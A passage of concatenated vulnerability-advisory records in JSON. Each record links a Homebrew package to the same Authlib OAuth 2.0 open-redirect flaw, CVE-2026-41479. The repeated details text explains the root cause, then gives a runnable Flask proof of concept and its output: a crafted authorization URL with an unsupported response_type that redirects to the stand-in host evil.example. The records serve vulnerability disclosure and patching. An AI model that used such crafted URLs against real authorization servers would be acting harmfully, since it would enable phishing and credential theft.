authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-kimi-cli-CVE-2026-41479",
  "modified": "2026-09-10T00:16:48Z",
  "published": "2026-08-13T17:01:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mcp-atlassian",
        "purl": "pkg:brew/mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-mcp-atlassian-CVE-2026-41479",
  "modified": "2026-09-10T00:30:25Z",
  "published": "2026-08-13T17:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.7.2",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mcpm",
        "purl": "pkg:brew/mcpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.14.0_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.7.2",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.7.2"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-mcpm-CVE-2026-41479",
  "modified": "2026-09-17T19:39:23Z",
  "published": "2026-08-13T17:13:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.6.6",
        "upstream_fixed_in": "1.6.10"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "omnara",
        "purl": "pkg:brew/omnara"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.6.6",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.6.6"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported\u0026redirect_uri=https%3A%2F%2Fevil.example%2Flanding\u0026state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type\u0026error_description=totally-unsupported\u0026state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib\u0027s OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server\u0027s host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "id": "BREW-omnara-CVE-2026-41479",
  "modified": "2026-09-10T00:40:38Z",
  "published": "2026-08-13T17:19:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "upstream": [
    "GHSA-w8p2-r796-3vmq",
    "CVE-2026-41479",
    "PYSEC-2026-2119"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "authlib",
        "resource_purl": "pkg:pypi/authlib@1.8.0",
        "upstream_fixed_in": "1.7.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "oterm",
        "purl": "pkg:brew/oterm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/authlib@1.8.0",
        "name": "authlib",
        "resource": "authlib",
        "strategy": "registry",
        "subject_version": "1.8.0"
      }
    ]
  },
  "details": "### Summary\nAuthlib\u0027s OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type \u0027{request.payload.response_type}\u0027 is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - \u003c\u003c\u0027PY\u0027\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported\u0026state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  